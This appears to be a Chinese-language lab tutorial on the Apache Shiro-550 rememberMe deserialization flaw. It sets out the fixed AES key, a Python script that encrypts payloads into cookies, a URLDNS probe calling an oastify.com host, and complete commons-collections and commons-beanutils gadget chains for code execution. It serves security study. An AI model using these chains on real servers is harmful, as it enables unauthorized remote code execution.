Shiro550反序列化
Shiro550
550的话是由于他的密钥是固定的,是可以爆破的,经过Base64和AES解密以后,可以将里面的内容构造为恶意代码,从而达到RCE的目的
主要是这三部分:URLDNS验证,CC,CB
环境
要么看这篇搭建[Shiro反序列化漏洞笔记一(原理篇)
要么如下搭建:
idea打开源码
启动tomcat


加上这俩
启动

账号密码

发现
在登录界面有remember me的选项,勾选后点击登录抓包

下次访问直接就进去了
rememberMe=这么一大坨(一般的cookic比较短),里面一定是有隐藏信息的(序列化反序列化的信息),接下来看看源码
分析
找到一个类
CookieRememberMeManager.java
这个方法中
getRememberedSerializedIdentity,在这个地方,将数据包中的cookie取出来进行base64解码,后返回解码的东西
看看谁调用了
getRememberedSerializedIdentity
AbstractRememberMeManager类的getRememberedPrincipals方法调用1
2
3
4
5
6
7
8
9
10
11
12
13
14public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = this.getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0) { principals = this.convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = this.onRememberedPrincipalFailure(re, subjectContext); } return principals; }将解码出来的字节,放入
convertBytesToPrincipals方法中跟进看看
1
2
3
4
5
6protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }解密+反序列化
对所传入的字节进行一个解密,然后将反序列化后的它返回了回去
反序列化的具体调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18public T deserialize(byte[] serialized) throws SerializationException { if (serialized == null) { String msg = "argument cannot be null."; throw new IllegalArgumentException(msg); } ByteArrayInputStream bais = new ByteArrayInputStream(serialized); BufferedInputStream bis = new BufferedInputStream(bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream(bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); //调用反序列化 ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array."; throw new SerializationException(msg, e); } }反序列化也是调用了原生的
readObject如果说它带了cc的依赖,我们就可以打它的cc依赖(得看maven)
反序列化的点就在
convertBytesToPrincipals中解密
1
2
3
4
5
6
7
8
9protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); //前面是获取字段你,后面是key serialized = byteSource.getBytes(); } return serialized; }
使用key解密(获得key即可自主构造这个包)
查看
getDecryptionCipherKey()对于key1
2
3public byte[] getDecryptionCipherKey() { return decryptionCipherKey; }1
private byte[] decryptionCipherKey;发现最终的
decryptionCipherKey是个常数查看他的写入

是通过
setDecryptionCipherKey这个函数1
2
3public void setDecryptionCipherKey(byte[] decryptionCipherKey) { this.decryptionCipherKey = decryptionCipherKey; }一步步查看


最后:有一个固定值
1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
这里的加解密函数就是AES解密
利用
构造序列化payload
使用AES的固定key加密
再base64加密
调用反序列化
URLDNS
由于shiro有cc依赖,但是在代码中没有import,所以cc的依赖没有办法打
我们先来验证一下自己的URLDNS链子
起一个bp

生成一个URLDNS链子的payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35package org.example; import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class UrlDNS { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { // Person person = new Person("xiao", 18, 01); HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>(); //这里不想要发起请求,把url对象的hashcode改成不是-1就可以了 URL url = new URL("http://n5tdih04a3c9dv0xgdhsebamqdw4ky8n.oastify.com"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true); hashcodefield.set(url, 1234); hashmap.put(url, 1);//不改变的话在put的时候就已经调用hash,key的hashCode方法了,已经发送dns请求了 //这里把hashCode改回-1 //通过反射改变已有对象的属性 hashcodefield.set(url, -1); serialize(hashmap); //unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }将序列化生成的bin和加密脚本放到一个文件夹中

加密脚本如下
用脚本将ser.bin文件中序列化后的payloadAES加密base64编码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40from email.mime import base from pydoc import plain import sys import base64 from turtle import mode import uuid from random import Random from Crypto.Cipher import AES def get_file_data(filename): with open(filename, 'rb') as f: data = f.read() return data def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext if __name__ == "__main__": data = get_file_data("ser.bin") print(aes_enc(data))
把这个贴到bp里面即可

记得将JSESSIONID=里面的内容删除,这也是身份验证
先走JSESSIONID,如果它可以就不走rememberMe
成功(一定要是在提交包的时候出现DNS)

CC
由于shiro不带cc依赖,所以我们可以在pom里面加一个cc依赖
加3.2.1
1
2
3
4
5
6<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>用cc6来打一下(生成的rememberMe)
1
GjDw1BVbSzeG2ZRTiqsafqN5Woprm2vK0ocyatebZYZCU5Wu30PTYzojzumFhnlTQ5GTyzlGh+Pm3PL5pBzTdQNVgwBoa7PqqUh9oqU2IIJymF2XMaQPVq513mugvjFZ8ZC2UoHDaFvlDRUToAtLqcJpfUoRq52Gvx8v1fB9GyJm5iZSLfXMmXDznYPVltvFvdePbi0eXj2K/85Zq89TCfsfVU5h2vAwP4XiTkZAlJgaXbR3FuFDpDZbKHaMRMdN5dCVT0nqHuCX/kIayuy7AfiMJRIt+sW0EFSX8S8T6Xcs/mCPtqvsiI0Kuxxl5oJq1fDRAf/QX8ovcUPiH0JK76llM+xtfkq4CrzoaY+NFp6lYOTXKN9PU+sjcioO/3BODMqmjg0clQHQV4ici3uIJ2C18V9AiZIK8S/NBhbi+0pjDECD5iErgGF5EGvdl4D85+R8GwxX8qwykGokzno6hwfyPMe9+UdvTn1rjsIroPjhETlyOZNzFlqu8Zj1K52JydgbceL1F35RjKWJzGc7dEBzmJmQ6Cahd6ICdgLRImlBYr62LZM18CXqB9naxJ4lbekq4R1zCQ8KKhpqWaAYXaL2jBsVympOss2I/uB4DQGYBVYBNowkwFlG3/O3zlDz+G60BVUR4cQnNwWqAnEWTSgS7ZGWaCfQW4T3gg4Gv5ZuuvEek9Kwi+h4e6bcrHEq6A+WTlrgb0XS40yQF2bwleEeNggdwpTrGbjd3pLUCa00Tn/yWLzzuN/6TwpANBHDfEB3RrPdaQSNu7YOGPSe4xEH3l+sSJMuULdwr/Two0TDOU1E/X9Y0wJ0crm0d7MIkvnHfqk6SGtyUTVYfo2c81sSWuB/6AQL0L9eYVozGWkl6h9Ap4lYckTuI5L1i7klVSSqcl++P0W26RrDTcVUs0YHTQc0KoPcrjrJm6jvJjz8RqiaClyrGIBL3kuSmmOWPZWT9V9CPhpz0n08i402ZdcVJOAhYAPk3B6P1t4ViPl0gcUP/hUt/acHMnhZGqNSRO5lgTambJg4d+bH9HUky19NXu3jb4jM9vauu6lqcmG87x97/uOA4EJRcGf2iFZO+6k96gRhUY/AJ0O5aE8veJhwnyPzaCaJzAdQlp4kQrWG0dvhKLhLHwdjOkrvBmERfxN58fpQDl82VHrV76+8jTIDFUZxzr/a/7IIqpmimcK9gsv7dBKP8nMRLoY64C0FR92FhRTcGcrGYc+NZpGK08aXZK1/eWqi9RgV2LY+lFn8f1Gl6QsIzy7H6zSw9GLq9r2EMR/DthiuPLBlOciFL50RVMit0Ts+wtSRmb3/3U97OP2zDEWeBNno0zRmCgrl0Mja1LbI1wtmYCFqHKbp1aRhCxKlHe94rkv8kpNpJwp3arAJckGZxRdhdr3MqL0JwQm0BOlfqyiGV4Z/LbczMIcut+OXRjma4nT8jIdFEwfVGc3a9OxU2x37F++ewCRl4jBr7+7N2f6KmN0JOLe21wsCm4pl0AKO6ZldfOeyZrQeo6SQ/44jxbQ/cg79vmV5'回显发现报错

别的类都能加载到,为什么无法加载Transformer??
原因
在反序列化这里不是用的原生的ObjectInputStream的readObject()

它是shiro里面自定义的对象输入流
步入
ClassResolvingObjectInputStream1
2
3
4
5
6
7
8@Override protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException e) { throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e); } }这个类重写了
resolveClass,所以在反序列化的时候就会优先调用这个重写的方法,从而走到ClassResolvingObjectInputStream类(原生反序列化是一定会走resolveClass这个方法,但是重写之后就从重写的类走)
对比一下原生的

获取内容之后,类加载
重写的
1
2
3
4
5
6
7
8@Override protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException e) { throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e); } }ClassUtils调用forName(
ClassUtils是shiro自己的工具类)看看
ClassUtils类的forName
他的意思就是说:要使用类加载器,依次加载(最多三次)
ClassResolvingObjectInputStream调用的是ClassUtils.forName(osc.getName());,其中ClassUtils是shiro自定的一个工具类而
ObjectInputStream调用的是Class.forName(name, false, latestUserDefinedLoader());我们可以这样理解:Class.forName是可以对数组进行操作的,而ClassUtils.forName是不能对数组进行操作的,这就是报错的原因
主要问题就是:Classload的loadclass不能加载数组,forName可以加载数组
也就是说,不出现数组类即可解决
为什么加载不了数组类
主要出在tomcat
接上面说到的ClassUtils.forName
由注释可知它是现有的类加载器,当前类的(即
ClassUtils类)类加载器,一系统类加载器,加载jdk里面的,是加载不到CC依赖的跟进
THREAD_CL_ACCESSOR的loadClass方法发现是
WebappClassLoader加载
WebappClassLoader加载就是tomcat里面处理web程序的类加载器tomcat内部加载机制

是从tomcat缓存里面找,jdk缓存里面找,然后直接EXT加载
tomcat跳过App直接到EXT,不走双亲委派,再到bootstrap
解决
不出现数组类
所以我目前就是要通过cc链来整合一条不走transformer[ ]的链子
这里我们不能利用数组了,因为cc1中调用Runtime.exec需要用ChainedTransformer和ConstantTransformer来更正返回值,所以我们选用动态类加载去加载恶意类

改写一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class shiro550cc { public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException { //CC3 TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field name = c1.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class")); byte[][]codes={code}; bytecodes.set(templates,codes); //CC2 InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); //CC6 HashMap map = new HashMap();//这儿的map key值为空 Map lazymap= LazyMap.decorate(map,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap,templates); HashMap map2 = new HashMap(); map2.put(tiedMapEntry, "bbb"); map.remove(templates); Class<LazyMap> c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap,invokerTransformer); serialize(map2); //unserialize("ser.bin"); } public static void serialize (Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; } }
测试没问题(大家复现的时候记得改自己的test.class地址)
接下来的流程就和上面的urldns一样了


CB
CB主要是对javabean的增强
介绍
javabean算是一种类型,符合这种格式的就叫javabean
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31public class Person {//公有类 private String name; private int age; // 无参构造 public User() {} // 可选:有参构造 public User(String name, int age) { this.name = name; this.age = age; } // 可以Getter/Setter public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }这样我们在每次调用的时候都得这么写:

相当于每次使用的时候都得这么写,比较麻烦
有没有可以动态调用的方法,使得代码更加简洁呢???
于是就有了
CB
使用
PropertyUtils.getProperty来获取类的属性值那么这里动态获取属性,会不会也动态传入危险命令呢???
分析
一步步跟进


调getSimpleProperty方法

获取到一个属性描述符descriptor

descriptor后,获得属性的名字(驼峰命名),get,set方法
首字母转化成大写
Age
获得方法后反射调用bean对象符合javaBean格式的方法


在之前见过的TemplatesImpl中存在两处可利用点,可以作为切入点,将javaBean连接到利用链上
TemplatesImpl调用getOutputProperties实现类的动态加载
构造过程
PropertyUtils.getProperty调TemplatesImpl的私有属性outputProperties的话,就会动态调到TemplatesImpl的getOutputProperties方法,接着方法里面(CC3)还调了newTransformer加载类
测试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25public class BeanTest{ public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tl = templates.getClass(); Field name = tl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "CC3"); byte[] code= Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class")); byte[][] codes={code}; Field bytecodes = tl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, codes); //先反射给_tfactory赋值(目前没有反序列化) Field tfactory = tl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); PropertyUtils.getProperty(templates,"outputProperties"); } }可行
所以目前我们要做的就是:找
getProperty的反序列化调用查找用法
getProperty注意:在查找的选择上,可以刻意的先我们之前学的cc靠拢
transform不行
因为他的所在类没有继承序列化

compare可行

而且属性可控

compare可以和cc2的优先队列PriorityQueue类相结合
除了cc3的加载类部分
接下来
new BeanComparator查看其构造函数
1
2
3public BeanComparator( String property ) { this( property, ComparableComparator.getInstance() ); }property就是要触发的那个属性(compare方法里面的)这么写就好
1
BeanComparator beanComparator = new BeanComparator("outputProperties");//这是我们要触发的属性后面就是cc2优先队列的事情了
目前我们的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38public class BeanTest{ public static void main(String[] args) throws Exception { //CC3 TemplatesImpl templates = new TemplatesImpl(); Class tl = templates.getClass(); Field name = tl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "CC3"); Field bytecodes = tl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class")); byte[][] codes={code}; bytecodes.set(templates, codes); //CB BeanComparator beanComparator = new BeanComparator("outputProperties"); //CC2 PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator); //PriorityQueue priorityQueue.add(templates); priorityQueue.add(2); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
运行发现报错
没有找到outputProperties
- 因为在CB编写的时候,就有些东西是和CC来配合的,在
BeanComparator的构造函数中,会默认调用ComparableComparator的getInstance方法,而ComparableComparator是cc依赖中的,shiro中默认没有带cc依赖,导致的错误发生
1
2
3
4
5
6
7
8
9
10
11
public class BeanComparator implements Comparator, Serializable {
private String property;
private Comparator comparator;
public BeanComparator() {
this((String)null);
}
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}而
BeanComparator还有一个构造函数如下,里面的Comparator是可以自己传的,所以我们可以用这个构造函数来绕过cc的依赖1
2
3
4
5
6
7
8
9public BeanComparator(String property, Comparator comparator) { this.setProperty(property); if (comparator != null) { this.comparator = comparator; } else { this.comparator = ComparableComparator.getInstance(); } }
解决:
在
beanComparator这里传入一个不为cc依赖的Comparator即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tl = templates.getClass(); Field name = tl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "CC3"); byte[] code= Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class")); byte[][] codes={code}; Field bytecodes = tl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, codes); BeanComparator beanComparator = new BeanComparator("outputProperties",new BeanComparator()); PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator); priorityQueue.add(templates); Class<? extends PriorityQueue> aClass = priorityQueue.getClass(); Field size = aClass.getDeclaredField("size"); size.setAccessible(true); size.set(priorityQueue, 2); serialize(priorityQueue); unserialize("ser.bin"); }add方法时候会报错导致序列化不成功(这里是在传入Intger时,也会调用Integer类的getOutputProperties的方法,但是他实际没有这个方法所以报错)
所以在向
PriorityQueue传入Comparator时,传入一个无用的transformingComparator,然后通过反射修改回来(就是完全使用cc2的后半段)+AttrComparator(自己写的一个脚本,Comparator和Serializable接口的交际得到AttrComparator)虽然没有cc,但是因为他影响的最后序列化的参数,和你本地怎么改没关系(成功即可)
这里还有一个方法,在add时,只添加数字,后续将
priorityQueue.add(templates);通过反射修改回来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34public static void main(String[] args) throws Exception { //cc3 TemplatesImpl templates = new TemplatesImpl(); Class tl = templates.getClass(); Field name = tl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "CC3"); byte[] code= Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class")); byte[][] codes={code}; Field bytecodes = tl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, codes); BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrComparator());//此处修改就可 //cc2 TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2); //反射修改 Class<PriorityQueue> priorityQueueClass = PriorityQueue.class; Field comparator = priorityQueueClass.getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue, beanComparator); serialize(priorityQueue); unserialize("ser.bin"); }

